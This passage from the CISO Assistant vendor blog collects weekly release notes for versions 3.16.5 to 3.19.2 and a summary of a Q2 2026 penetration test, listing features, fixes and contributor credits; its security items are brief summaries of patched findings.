[#4437](https://github.com/intuitem/ciso-assistant-community/pull/4437)). Thanks to **@mvanhorn**. - **Unlinking the last Evidence label** — Fixed a case where the last remaining label could not be unlinked from an Evidence (PR [#4447](https://github.com/intuitem/ciso-assistant-community/pull/4447)). Thanks to **@tchoumi313**. - **Multi-value risk-level filtering** — Restored multi-value filtering on risk `current_level` and `residual_level` (PR [#4436](https://github.com/intuitem/ciso-assistant-community/pull/4436)). Thanks to **@tchoumi313**. - **Feared events table** — Aligned the feared events nested table to the standard pattern and surfaced entity labels (PR [#4446](https://github.com/intuitem/ciso-assistant-community/pull/4446)). Thanks to **@ab-smith**. - **EBIOS RM improvements** — Multiple UI improvements on EBIOS RM (PR [#4492](https://github.com/intuitem/ciso-assistant-community/pull/4492)). Thanks to **@ab-smith**. - **Preset editor edit page** — Fixed the preset editor edit page (PR [#4486](https://github.com/intuitem/ciso-assistant-community/pull/4486)). Thanks to **@Mohamed-Hacene**. - **Exceptions adjustments** — A round of adjustments to the exceptions handling (PR [#4478](https://github.com/intuitem/ciso-assistant-community/pull/4478)). Thanks to **@Mohamed-Hacene**. - **Report template overrides (Pro)** — Fixed edge cases with document report template overrides (PR [#4493](https://github.com/intuitem/ciso-assistant-community/pull/4493)). Thanks to **@ab-smith**. - **UI glitches** — Cleaned up multiple UI glitches across the app (PR [#4488](https://github.com/intuitem/ciso-assistant-community/pull/4488)). Thanks to **@ab-smith**. --- Welcome to new contributors **@datasecsro**, **@mvanhorn**, **@Totara-thib**, and **@thomasboni**, who made their first contributions in this release. For full details, check out the [v3.19.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.19.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 27, 2026 (v3.19.0 – v3.19.1) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w27 Published: 2026-06-30 Author: intuitem The **v3.19.0** minor landed on June 29 with a big slate of features headlined by SCIM provisioning, offline-ready AI, and managed portals — plus a deep round of fixes across TPRM, OIDC, exports, and translations. A day later, the **v3.19.1** patch followed with import improvements, a new selectable column, and a handful of UX and correctness fixes. ## Headline Features - **SCIM provisioning & IdP groups mapping** — CISO Assistant now supports SCIM, automatically provisioning users from your identity provider and mapping IdP groups to roles. This brings true directory-driven access management to the platform (PR [#4393](https://github.com/intuitem/ciso-assistant-community/pull/4393), with follow-ups [#4415](https://github.com/intuitem/ciso-assistant-community/pull/4415) and [#4425](https://github.com/intuitem/ciso-assistant-community/pull/4425)). Thanks to **@tchoumi313**. - **Offline-ready AI** _(breaking)_ — Embedding and reranker models are now pre-baked into the image so the AI assistant works fully offline. Expect a larger image size as a result (PR [#4404](https://github.com/intuitem/ciso-assistant-community/pull/4404)). Thanks to **@Mohamed-Hacene**. - **Managed portals** — A new managed portals capability for delivering scoped, externally-facing experiences (PR [#4386](https://github.com/intuitem/ciso-assistant-community/pull/4386)). Thanks to **@ab-smith**. ## Security & Access - **Admin MFA reset** — Administrators can now reset another user's MFA, smoothing recovery when someone loses access to their authenticator (PR [#4270](https://github.com/intuitem/ciso-assistant-community/pull/4270)). Thanks to **@tchoumi313**. - **Stronger OIDC state & nonce** — Increased the length of the OIDC state and nonce values for better protection against replay and CSRF-style attacks (PR [#4411](https://github.com/intuitem/ciso-assistant-community/pull/4411)). Thanks to **@tchoumi313**. ## New Features - **Manual implementation groups on dynamic frameworks** — Implementation groups can now be set manually on dynamic frameworks (PR [#4391](https://github.com/intuitem/ciso-assistant-community/pull/4391)). Thanks to **@Mohamed-Hacene**. - **Disable the "partially compliant" option** — Admins can now turn off the partially-compliant assessment result for stricter scoring (PR [#4421](https://github.com/intuitem/ciso-assistant-community/pull/4421)). Thanks to **@ab-smith**. - **Optional collection creation for PMBOK projects** — Collection creation is now optional when starting new projects, alongside a collection-code refactor (PR [#4413](https://github.com/intuitem/ciso-assistant-community/pull/4413)). Thanks to **@ab-smith**. - **Applied control progress as a column** _(v3.19.1)_ — Applied control progress can now be surfaced as a selectable column in list views (PR [#4428](https://github.com/intuitem/ciso-assistant-community/pull/4428)). Thanks to **@ab-smith**. ## Integrations & Exports - **Import improvements** _(v3.19.1)_ — Multiple improvements to the import flow for smoother data onboarding (PR [#4434](https://github.com/intuitem/ciso-assistant-community/pull/4434)). Thanks to **@ab-smith**. - **Richer audit/framework Excel exports** — Excel exports now include typical evidence and annotations (PR [#4414](https://github.com/intuitem/ciso-assistant-community/pull/4414)). Thanks to **@Mohamed-Hacene**. - **CSV export encoding** — Fixed encoding issues in CSV exports (PR [#4410](https://github.com/intuitem/ciso-assistant-community/pull/4410)). Thanks to **@Mohamed-Hacene**. - **FORCE_CREATE_ADMIN with existing user** — `FORCE_CREATE_ADMIN` now works even if the user is already defined (PR [#4376](https://github.com/intuitem/ciso-assistant-community/pull/4376)). Thanks to **@eric-intuitem**. ## Performance - **Faster mapping list** — Resolved slowness when loading the mapping list (PR [#4380](https://github.com/intuitem/ciso-assistant-community/pull/4380)). Thanks to **@Axxiar**. ## Internationalization & Accessibility - **Czech localization** — A complete update of the Czech translation (PR [#4389](https://github.com/intuitem/ciso-assistant-community/pull/4389)). Thanks to **@zdenek-pergl**. - **Italian to 100%** — Italian translation completed to full coverage (PR [#4403](https://github.com/intuitem/ciso-assistant-community/pull/4403)). Thanks to **@pnatale**. - **Accessibility tags recovered** — Restored missing tags for accessibility (PR [#4398](https://github.com/intuitem/ciso-assistant-community/pull/4398)). Thanks to **@ab-smith**. - **Library converter translations** — Fixed missing question translations in `convert_library_v2.py` (PR [#4412](https://github.com/intuitem/ciso-assistant-community/pull/4412)). Thanks to **@tarkadia**. - **Audit framework-name translation** — Corrected a wrong Framework Name translation in the Audit Summary and Audit List (PR [#4416](https://github.com/intuitem/ciso-assistant-community/pull/4416)). Thanks to **@tarkadia**. - **Recovered missing translations** _(v3.19.1)_ — Restored additional missing translation strings (PR [#4439](https://github.com/intuitem/ciso-assistant-community/pull/4439)). Thanks to **@ab-smith**. ## Bug Fixes - **TPRM respondent permissions** — Third-party respondents can no longer edit evidence status (PR [#4420](https://github.com/intuitem/ciso-assistant-community/pull/4420)). Thanks to **@tchoumi313**. - **DORA evaluation labels** — Fixed DORA evaluation fields showing raw codes in the solution detail view (PR [#4409](https://github.com/intuitem/ciso-assistant-community/pull/4409)). Thanks to **@Axxiar**. - **Qualitative metrics choices** — Restored the missing display of choice definitions in qualitative metrics definitions (PR [#4402](https://github.com/intuitem/ciso-assistant-community/pull/4402)). Thanks to **@Axxiar**. - **User expiry editing** — Allowed the expiring date to be in the past when editing a user, and fixed expiration to fall on the next day (PRs [#4401](https://github.com/intuitem/ciso-assistant-community/pull/4401), [#4374](https://github.com/intuitem/ciso-assistant-community/pull/4374)). Thanks to **@Axxiar** and **@eric-intuitem**. - **Broken links in tables and findings** — Prevented undefined links in `modelTable` cells (PR [#4400](https://github.com/intuitem/ciso-assistant-community/pull/4400)) and fixed broken `/undefined/` links on the finding detail page (PR [#4424](https://github.com/intuitem/ciso-assistant-community/pull/4424)). Thanks to **@tarkadia** and **@tpujolalan**. - **Subcontractor chain in dark mode** _(v3.19.1)_ — Fixed the subcontractor chain colors so they render correctly in dark mode (PR [#4432](https://github.com/intuitem/ciso-assistant-community/pull/4432)). Thanks to **@Mohamed-Hacene**. - **Comment re-homing** _(v3.19.1)_ — Prevented comments from being re-homed to objects in other folders (PR [#4435](https://github.com/intuitem/ciso-assistant-community/pull/4435)). Thanks to **@tchoumi313**. - **URL normalization on default ports** _(v3.19.1)_ — Normalized URLs to avoid comparison issues on default ports (PR [#4427](https://github.com/intuitem/ciso-assistant-community/pull/4427)). Thanks to **@ab-smith**. - **Dynamic labels creation** _(v3.19.1)_ — Fixed the creation of dynamic labels (PR [#4440](https://github.com/intuitem/ciso-assistant-community/pull/4440)). Thanks to **@ab-smith**. --- Welcome to new contributors **@pnatale** and **@tpujolalan**, who made their first contributions in this release. For full details, check out the [v3.19.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.19.0) and [v3.19.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.19.1) release notes on GitHub. --- ### What's New in CISO Assistant — Week 26, 2026 (v3.18.3) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w26 Published: 2026-06-23 Author: intuitem A single, tightly-scoped release this week — **v3.18.3** on June 22 — pairing a security hardening pass with a few quality-of-life improvements ahead of the larger v3.19.0 minor. ## Security - **Hardened IAM checks & retired fallback login** — Integration IAM checks were tightened and the fallback login endpoint decommissioned, closing off a legacy authentication path (PR [#4383](https://github.com/intuitem/ciso-assistant-community/pull/4383)). This is a **breaking change** — review any automation that relied on the old endpoint. Thanks to **@ab-smith**. ## New Features - **Evidence at the domain level** — Evidence is now visible directly within a domain, making it easier to see supporting documents in context (PR [#4369](https://github.com/intuitem/ciso-assistant-community/pull/4369)). Thanks to **@eric-intuitem**. ## UX - **Centralized folder/domain field rendering** — Folder and domain field rendering is now centralized in `ModelForm.svelte`, giving consistent behavior across forms (PR [#4373](https://github.com/intuitem/ciso-assistant-community/pull/4373)). Thanks to **@eric-intuitem**. - **Reusable add-journey modal** — The add-journey modal is now reused and supports other objects, reducing duplication across the UI (PR [#4390](https://github.com/intuitem/ciso-assistant-community/pull/4390)). Thanks to **@ab-smith**. ## Bug Fixes - **Library import ref_id limit** — Raised the limit on `ref_id` during library imports to accommodate larger references (PR [#4291](https://github.com/intuitem/ciso-assistant-community/pull/4291)). Thanks to **@melinoix**. --- For full details, check out the [v3.18.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.18.3) release notes on GitHub. --- ### What's New in CISO Assistant — Week 25, 2026 (v3.18.1 – v3.18.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w25 Published: 2026-06-21 Author: intuitem Two releases this week — **v3.18.1** on June 15 and a packed **v3.18.2** on June 20 — that pair a couple of headline UI and pro features with a broad cleanup of translations, table mode, and form handling. ## Headline Features - **Dark mode** — CISO Assistant now ships a full dark mode, with follow-up polish for the rough edges (PRs [#4326](https://github.com/intuitem/ciso-assistant-community/pull/4326), [#4361](https://github.com/intuitem/ciso-assistant-community/pull/4361)). Thanks to **@Mohamed-Hacene** and **@Axxiar**. - **Custom fields** _(pro)_ — Objects can now carry custom fields, letting teams extend records with their own structured data (PR [#4363](https://github.com/intuitem/ciso-assistant-community/pull/4363)). Thanks to **@ab-smith**. - **Audit-log forwarding** _(pro)_ — A new capability forwards audit logs to external sinks, building on the per-object audit trail introduced last week (PR [#4333](https://github.com/intuitem/ciso-assistant-community/pull/4333)). Thanks to **@ab-smith**. ## Security - **Hardened against internal redirects** — Added protection against potential internal redirect abuse (PR [#4368](https://github.com/intuitem/ciso-assistant-community/pull/4368)). Thanks to **@ab-smith**. ## Integrations & API - **"Mapping from" capability** — Mappings can now be defined _from_ a source framework, complementing the dynamic mapping work shipped in v3.18.0 (PR [#4283](https://github.com/intuitem/ciso-assistant-community/pull/4283)). Thanks to **@eric-intuitem**. - **Bulk data pull API** — New endpoints expose bulk data pulls for applied controls and assets, easing large exports and integrations (PR [#4356](https://github.com/intuitem/ciso-assistant-community/pull/4356)). Thanks to **@ab-smith**. ## UX - **Validation notes & exception notifications** — Validation notes are now surfaced in the UI, and exceptions trigger notifications so nothing slips through unnoticed (PR [#4359](https://github.com/intuitem/ciso-assistant-community/pull/4359)). Thanks to **@Mohamed-Hacene**. - **Evidences in audit action plan export** — The audit action plan export now includes evidences (PR [#3924](https://github.com/intuitem/ciso-assistant-community/pull/3924)). Thanks to **@martinzerty**. ## Framework & Library Updates - **Nazionale CS DP Framework fix** — Corrected the Italian Nazionale CS DP framework library (PR [#4343](https://github.com/intuitem/ciso-assistant-community/pull/4343)). Thanks to **@tarkadia**. ## Internationalization - **Score translation regression** — Fixed a regression in score translations (PR [#4336](https://github.com/intuitem/ciso-assistant-community/pull/4336)). Thanks to **@tarkadia**. - **Analytics charts & reports translations** — Recovered missing translations across analytics charts and reports (PR [#4367](https://github.com/intuitem/ciso-assistant-community/pull/4367)). Thanks to **@ab-smith**. - **Implementation Group name in audit forms** — Fixed a wrong Implementation Group name translation in the audit creation/edit form (PR [#4338](https://github.com/intuitem/ciso-assistant-community/pull/4338)). Thanks to **@tarkadia**. - **Kanban & flash mode back label** — Translated the back label in kanban and flash mode views (PR [#4366](https://github.com/intuitem/ciso-assistant-community/pull/4366)). Thanks to **@Axxiar**. ## Bug Fixes - **Table mode with hidden select fields** — Fixed table mode when select fields are hidden (PR [#4337](https://github.com/intuitem/ciso-assistant-community/pull/4337)). Thanks to **@Mohamed-Hacene**. - **Table mode mapping inference** — Repaired broken table mode caused by outdated `mapping_inference` usage (PR [#4322](https://github.com/intuitem/ciso-assistant-community/pull/4322)). Thanks to **@monsieurswag**. - **Framework builder node IDs** — Heals duplicate `node_id`s and propagates URN renames in the framework builder (PR [#4342](https://github.com/intuitem/ciso-assistant-community/pull/4342)). Thanks to **@nas-tabchiche**. - **Audit-log native columns** _(pro)_ — Read the audit-log actor and folder from native columns for correctness (PR [#4360](https://github.com/intuitem/ciso-assistant-community/pull/4360)). Thanks to **@nas-tabchiche**. - **Feature-flag toggling consistency** — Made feature-flag toggling behave consistently (PR [#4355](https://github.com/intuitem/ciso-assistant-community/pull/4355)). Thanks to **@ab-smith**. - **EBIOS workshop 3 sorting** — Fixed sorting by entity name in EBIOS RM workshop 3 (PR [#4341](https://github.com/intuitem/ciso-assistant-community/pull/4341)). Thanks to **@Axxiar**. - **Evidence revision attachments on domain delete** — Evidence revision attachments are now removed when their domain is deleted (PR [#4086](https://github.com/intuitem/ciso-assistant-community/pull/4086)). Thanks to **@monsieurswag**. - **Double hyphen in forms** — Allowed double hyphens in form input (PR [#4316](https://github.com/intuitem/ciso-assistant-community/pull/4316)). Thanks to **@Axxiar**. ## Maintenance - **Backend formatting** — Aligned backend formatting to ruff v0.15.x (PR [#4335](https://github.com/intuitem/ciso-assistant-community/pull/4335)). Thanks to **@ab-smith**. - **Documentation touch-ups** — Documented the log-forwarding capability (PR [#4348](https://github.com/intuitem/ciso-assistant-community/pull/4348)), added a ROSI/ROC calculation explanation (PR [#4354](https://github.com/intuitem/ciso-assistant-community/pull/4354)), and added a warning about template management (PR [#4339](https://github.com/intuitem/ciso-assistant-community/pull/4339)), plus routine dependency upgrades. --- For full details, check out the [v3.18.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.18.1) and [v3.18.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.18.2) release notes on GitHub. --- ### CISO Assistant Q2 2026 penetration test report is now available URL: https://intuitem.com/ciso-assistant-q2-2026-pentest-report Published: 2026-06-16 Author: intuitem To stay consistent with our commitment to transparency and security, we're pleased to publish the latest **CISO Assistant penetration testing report**, conducted by [Synacktiv](https://www.synacktiv.com/). Many thanks to their team for the quality of their work, their professionalism, and the excellent collaboration throughout the engagement (hi Renaud and team 👋). All findings were reviewed and remediated within hours of being reported. To make the report easier to consume, we've added a summary page highlighting the key information and results. ## Acknowledgment We would like to thank Synacktiv for conducting this penetration test with exceptional rigor and professionalism. Their comprehensive analysis, clear reporting, and valuable recommendations have strengthened the platform's security posture. ## Tested scope The application was tested in a **PRO SaaS deployment** while the testers had access to the source code (CISO Assistant is open source) — a white-box engagement that gives the most thorough coverage possible. ## Key findings | Ref | Finding | Severity | Status | Notes | | ---- | ------------------------------------------------------ | -------- | --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | V-01 | Template injection in audit templates | **High** | ✅ Patched in v3.16.7 | Added an extra sandboxing mode. Templates are managed only by admins, who control their quality and security. Defense-in-depth in the infrastructure (rootless containers, network policies) prevented lateral movement and kept the tenant admin within their scope. | | V-02 | Error messages information leak | Low | ✅ Dismissed | The surfaced information is not sensitive and is intentionally exposed to help with debugging. All sensitive settings (e.g., secrets) follow a write-only pattern. | | V-03 | Subdomain enumeration through certificate transparency | Remark | ✅ Deprecated | A legacy TLS-management design choice that was deprecated more than a year ago by moving to a wildcard certificate. | The single High-severity finding (V-01) was patched in **v3.16.7**, with sandboxing reinforced as a defense-in-depth measure on top of the existing admin-only template controls and infrastructure isolation. The remaining items were either intentional behavior (V-02) or already addressed by an earlier design change (V-03). ## Why we publish this Security is not a checkbox — it's an ongoing practice. Publishing our pentest results, including the findings and how we handled them, is part of how we hold ourselves accountable to the community and to our customers. We believe an open GRC platform should be transparent about its own security posture. As always, we welcome your feedback and any security findings through our usual channels. --- ### What's New in CISO Assistant — Week 24, 2026 (v3.17.3 – v3.18.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w24 Published: 2026-06-14 Author: intuitem Two releases this week: a small, focused **v3.17.3** on June 9, followed by the feature-rich **v3.18.0** minor bump on June 14. Highlights include smarter Jira integration, a per-object audit trail, two new Saudi NCA frameworks, a security fix, and a notable build-tooling change. ## Headline Features - **Dynamic field & value mappings for Jira** — The Jira integration now supports dynamic field and value mappings, complete with auto-suggested defaults — making it far easier to wire CISO Assistant data to your Jira instance without hand-mapping every field (PR [#4148](https://github.com/intuitem/ciso-assistant-community/pull/4148)). Thanks to **@nas-tabchiche**. - **Per-object audit trail** _(pro)_ — Objects now carry their own audit trail, giving a clear, per-record history of changes (PR [#4312](https://github.com/intuitem/ciso-assistant-community/pull/4312)). Thanks to **@ab-smith**. - **Feature flags layout + profiles** — The feature-flags screen gets a cleaner layout and now includes profiles, making capability management easier to navigate (PR [#4308](https://github.com/intuitem/ciso-assistant-community/pull/4308)). Thanks to **@ab-smith**. ## Framework & Library Updates - **NCNICC-1:2025 (Saudi Arabia)** _(v3.17.3)_ — A new library adds the Saudi National Cybersecurity Authority's NCNICC-1:2025 framework (PR [#4285](https://github.com/intuitem/ciso-assistant-community/pull/4285)). Thanks to **@smakarim**, making their first contribution. - **CCC-1:2020 — Cloud Cybersecurity Controls (Saudi Arabia)** — Another Saudi NCA framework joins the catalog: the Cloud Cybersecurity Controls (CCC-1:2020) library (PR [#4294](https://github.com/intuitem/ciso-assistant-community/pull/4294)). Thanks again to **@smakarim**. - **NIST CSF v2.0 journey polish** — Added annotations and a French version to the NIST CSF v2.0 journey, plus a fix to the NIST CSF 2.0 Excel file (PR [#4331](https://github.com/intuitem/ciso-assistant-community/pull/4331)). Thanks to **@tarkadia**. - **ENS framework — English version** — The Spanish ENS framework now ships an English version (PR [#4327](https://github.com/intuitem/ciso-assistant-community/pull/4327)). Thanks to **@tarkadia**. ## Security - **IDOR fix in ecosystem chart data** — Closed an insecure direct object reference (IDOR) in the ecosystem chart data endpoint (PR [#4317](https://github.com/intuitem/ciso-assistant-community/pull/4317)), alongside a fix for missing permission checks on the experimental ecosystem page (PR [#4314](https://github.com/intuitem/ciso-assistant-community/pull/4314)). Thanks to **@melinoix**. ## UX - **ID before Name in forms** _(v3.17.3)_ — Forms now place the ID ahead of the Name across the board, and the category moves into the front section for applied controls (PR [#4282](https://github.com/intuitem/ciso-assistant-community/pull/4282)). Thanks to **@eric-intuitem**. - **Link icon in control plans** _(v3.17.3)_ — When a task in a control plan has a link defined, a link icon now appears next to its name (PR [#4284](https://github.com/intuitem/ciso-assistant-community/pull/4284)). Thanks to **@eric-intuitem**. ## Observability - **Frontend JSON logger** — A minimal JSON logger arrives on the frontend, with default log levels aligned across the stack for cleaner, more parseable logs (PR [#4332](https://github.com/intuitem/ciso-assistant-community/pull/4332)). Thanks to **@ab-smith**. ## Bug Fixes - **Third-party audit field visibility** _(v3.17.3)_ — Fixed which audit fields are visible to third parties (PR [#4289](https://github.com/intuitem/ciso-assistant-community/pull/4289)). Thanks to **@Mohamed-Hacene**. - **Mixed-scale aggregation in tree & radar** — Normalized mixed-scale aggregation so tree and radar displays render correctly (PR [#4227](https://github.com/intuitem/ciso-assistant-community/pull/4227)). Thanks to **@nas-tabchiche**. - **Applied controls columns in risk tables** — Restored the applied-controls columns in the current/residual risk tables (PR [#4307](https://github.com/intuitem/ciso-assistant-community/pull/4307)). Thanks to **@melinoix**. - **Result computation & audit score clamping** — Fixed a result-computation bug (PR [#4104](https://github.com/intuitem/ciso-assistant-community/pull/4104)) and clamped audit score progress values to valid ranges (PR [#4329](https://github.com/intuitem/ciso-assistant-community/pull/4329)). Thanks to **@Mohamed-Hacene**. - **Framework builder publish reliability** — Improved framework-builder publish reliability and error reporting (PR [#4330](https://github.com/intuitem/ciso-assistant-community/pull/4330)). Thanks to **@nas-tabchiche**. - **Respondent handling refactor** — A clean refactor addressing respondent issues (PR [#4293](https://github.com/intuitem/ciso-assistant-community/pull/4293)). Thanks to **@eric-intuitem**. - **OpenAI API base fragments** — Prevented stray fragments in the OpenAI API base URL (PR [#4304](https://github.com/intuitem/ciso-assistant-community/pull/4304)). Thanks to **@melinoix**. ## Maintenance - **Poetry → uv** — The backend build tooling moved from Poetry to [uv](https://github.com/astral-sh/uv), a faster Python package and project manager — worth noting for self-hosted and contributor setups (PR [#3844](https://github.com/intuitem/ciso-assistant-community/pull/3844)). Thanks to **@Axxiar**. - **Documentation touch-ups** — Added allowed-IPs configuration docs and a settings UI note (PR [#4321](https://github.com/intuitem/ciso-assistant-community/pull/4321)), updated mapping documentation (PR [#4309](https://github.com/intuitem/ciso-assistant-community/pull/4309)), and recovered framework-reporting nuance docs (PR [#4334](https://github.com/intuitem/ciso-assistant-community/pull/4334)). --- For full details, check out the [v3.17.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.17.3) and [v3.18.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.18.0) release notes on GitHub. --- ### What's New in CISO Assistant — Week 23, 2026 (v3.17.1 – v3.17.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w23 Published: 2026-06-05 Author: intuitem Two releases this week: **v3.17.1** on June 3 and a feature-heavy **v3.17.2** on June 5. The theme is operability and depth — observability hooks, a meatier AI/MCP server, a new framework, more flexible tables and assets, smarter SSO, and a generous round of fixes. ## Headline Features - **Prometheus metrics endpoint** — A new endpoint exposes metrics for Prometheus scraping, making it far easier to monitor a CISO Assistant deployment with standard observability tooling (PR [#4061](https://github.com/intuitem/ciso-assistant-community/pull/4061)), with a follow-up to expose metrics for enterprise as well (PR [#4258](https://github.com/intuitem/ciso-assistant-community/pull/4258)). Thanks to **@melinoix**. - **Expanded AI / MCP server** — The MCP server gains vulnerability CRUD, asset classes, and richer risk scenario reads — broadening what AI assistants can do against your GRC data (PR [#4256](https://github.com/intuitem/ciso-assistant-community/pull/4256)). Thanks to **@jledoze**. - **Cost breakdown on action plans** — Action plans now surface a cost breakdown, bringing budget visibility directly into remediation planning (PR [#4272](https://github.com/intuitem/ciso-assistant-community/pull/4272)). Thanks to **@ab-smith**. - **Audit aggregation through ancestors** — Audit results can now aggregate up through their ancestor hierarchy, giving cleaner consolidated views across nested scopes (PR [#4245](https://github.com/intuitem/ciso-assistant-community/pull/4245)). Thanks to **@ab-smith**. - **Expanded comments** — The comments feature has been broadened for richer collaboration across objects (PR [#4253](https://github.com/intuitem/ciso-assistant-community/pull/4253)). Thanks to **@ab-smith**. ## Framework & Library Updates - **ABRO Framework** — A new ABRO framework library is now available (PR [#4252](https://github.com/intuitem/ciso-assistant-community/pull/4252)). Thanks to **@tarkadia**. - **Journey preset filter in library list** — The library list gains a preset filter for journeys (PR [#4279](https://github.com/intuitem/ciso-assistant-community/pull/4279)). Thanks to **@tarkadia**. - **Library tooling** — `convert_library_v2.py` now supports Threats annotations (PR [#4274](https://github.com/intuitem/ciso-assistant-community/pull/4274)), plus an updated `example_framework.xlsx` and restored French metadata in the Vendor Due Diligence framework (PRs [#4275](https://github.com/intuitem/ciso-assistant-community/pull/4275), [#4276](https://github.com/intuitem/ciso-assistant-community/pull/4276)). Thanks to **@tarkadia**. ## Data Wizard - **Header normalization** — The data wizard now normalizes headers on import, smoothing out messy source files (PR [#4160](https://github.com/intuitem/ciso-assistant-community/pull/4160)). Thanks to **@martinzerty**. - **`ref_id` support across the wizard** — All data-wizard flows now accept `ref_id` in addition to name, plus a new test harness to keep the wizard honest (PRs [#4087](https://github.com/intuitem/ciso-assistant-community/pull/4087), [#4151](https://github.com/intuitem/ciso-assistant-community/pull/4151)). Thanks to **@tchoumi313**. ## UX - **Tables column selector** — Tables now offer a column selector, letting users tailor which columns are shown (PR [#4263](https://github.com/intuitem/ciso-assistant-community/pull/4263)). Thanks to **@ab-smith**. - **User-configurable date format** — Users can now choose their preferred date format (PR [#4236](https://github.com/intuitem/ciso-assistant-community/pull/4236)). Thanks to **@ab-smith**. - **1–3 properties scale on assets** — Assets can use a 1–3 properties scale (PR [#4281](https://github.com/intuitem/ciso-assistant-community/pull/4281)). Thanks to **@ab-smith**. - **Task occurrence description** — A task's occurrence now shows its description (PR [#4267](https://github.com/intuitem/ciso-assistant-community/pull/4267)). Thanks to **@Axxiar**. - **Higher autocomplete cap** — The autocomplete lazy-mode cap was raised to 20 for more useful suggestions (PR [#4268](https://github.com/intuitem/ciso-assistant-community/pull/4268)). Thanks to **@ab-smith**. ## Security & Infrastructure - **SSO redirect handling** — After SSO login, users are now returned to the URL they originally requested instead of a generic landing page (PR [#4255](https://github.com/intuitem/ciso-assistant-community/pull/4255)). Thanks to **@tchoumi313**. - **Allowed IPs list** — Infrastructure configuration gains an allowed-IPs list, letting operators restrict access at the application layer (PR [#4250](https://github.com/intuitem/ciso-assistant-community/pull/4250)). Thanks to **@tchoumi313**. - **Hide "About" menu for third parties** — The About menu is now hidden from third-party users (PR [#4240](https://github.com/intuitem/ciso-assistant-community/pull/4240)). Thanks to **@melinoix**. ## Performance - **Faster framework library updates** — Fixed an O(N²) dedup in the framework library update path (PR [#4264](https://github.com/intuitem/ciso-assistant-community/pull/4264)). Thanks to **@Mohamed-Hacene**. ## Bug Fixes - **Framework builder nodes at deep nesting** — Builder nodes are no longer unusably narrow at deep nesting levels (PR [#4271](https://github.com/intuitem/ciso-assistant-community/pull/4271)). Thanks to **@nas-tabchiche**. - **Ordering with negative number values** — Fixed wrong ordering for selects with negative number values (PR [#3618](https://github.com/intuitem/ciso-assistant-community/pull/3618)). Thanks to **@monsieurswag**. - **Name column ordering** — Sorting by the name column now behaves correctly (PR [#4242](https://github.com/intuitem/ciso-assistant-community/pull/4242)). Thanks to **@Mohamed-Hacene**. - **Risk-assessment scenario filters** — Scenarios can now be filtered by current level and residual level (PR [#4257](https://github.com/intuitem/ciso-assistant-community/pull/4257)). Thanks to **@tchoumi313**. - **Incident uniqueness and freshness** — Incident uniqueness is now limited to `ref_id` (PR [#4266](https://github.com/intuitem/ciso-assistant-community/pull/4266)), and an incident's last-update timestamp refreshes when timeline entries change (PR [#4280](https://github.com/intuitem/ciso-assistant-community/pull/4280)). Thanks to **@ab-smith**. - **Vulnerabilities link in findings** — Fixed the link to vulnerabilities from findings (PR [#4241](https://github.com/intuitem/ciso-assistant-community/pull/4241)). Thanks to **@Mohamed-Hacene**. - **Markdown rendering and translations** — Restored a missing `MarkdownRenderer` across several pages (PR [#3983](https://github.com/intuitem/ciso-assistant-community/pull/3983)) and fixed untranslated framework name and description (PR [#4278](https://github.com/intuitem/ciso-assistant-community/pull/4278)). Thanks to **@tarkadia**. ## Internationalization - **🇨🇿 Czech localization** — A comprehensive update to the Czech translation (PR [#4261](https://github.com/intuitem/ciso-assistant-community/pull/4261)). Thanks to **@zdenek-pergl**. ## Maintenance - **Vite 7 upgrade** — The frontend moved to Vite 7, with the associated Vitest upgrade (PR [#4247](https://github.com/intuitem/ciso-assistant-community/pull/4247)). Thanks to **@ab-smith**. - **Pull request template** — A PR template was added to streamline contributions (PR [#4243](https://github.com/intuitem/ciso-assistant-community/pull/4243)). Thanks to **@nas-tabchiche**. - **Documentation touch-ups** — Updated CyFun export docs and fixed a broken link for ENISA's risk acceptance (PRs [#4238](https://github.com/intuitem/ciso-assistant-community/pull/4238), [#4244](https://github.com/intuitem/ciso-assistant-community/pull/4244)). --- For full details, check out the [v3.17.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.17.1) and [v3.17.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.17.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 22, 2026 (v3.16.5 – v3.17.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w22 Published: 2026-05-30 Author: intuitem This edition catches up on four releases — **v3.16.5** and **v3.16.6** (the last patches in the v3.16.3 line), followed by **v3.16.7** and the **v3.17.0** minor bump. It's a dense run: a brand-new project management module, cross-domain reporting, per-node score scales, a hardened OIDC flow, new frameworks, and a deep batch of fixes. ## Headline Features - **Project management** — CISO Assistant now ships a native project management capability, giving teams a structured place to plan and track work alongside their GRC activities (PR [#4156](https://github.com/intuitem/ciso-assistant-community/pull/4156)). Thanks to **@ab-smith**. - **Framework-driven reporting across domains** — Reporting is now framework-driven and works across domains, making it possible to assemble consolidated reports that span multiple scopes (PR [#4175](https://github.com/intuitem/ciso-assistant-community/pull/4175)). Thanks to **@ab-smith**. - **Score scale at requirement node level** — Requirement nodes can now carry their own score scale, allowing finer-grained scoring schemes within a single framework (PR [#4173](https://github.com/intuitem/ciso-assistant-community/pull/4173)). Thanks to **@Mohamed-Hacene**. - **BIA and follow-ups in Perimeters** — Business Impact Analyses and follow-ups are now exposed among a Perimeter's related objects, keeping continuity work close to its scope (PR [#4158](https://github.com/intuitem/ciso-assistant-community/pull/4158)). Thanks to **@eric-intuitem**. ## Security - **OIDC strict state/nonce mode** — A new strict mode enforces state and nonce validation in the OIDC flow, tightening protection against replay and CSRF-style attacks during authentication (PR [#4191](https://github.com/intuitem/ciso-assistant-community/pull/4191)). Thanks to **@tchoumi313**. - **Jinja sandbox for DOCX templates** — DOCX template rendering now runs Jinja in a sandboxed environment, reducing the blast radius of untrusted template content (PR 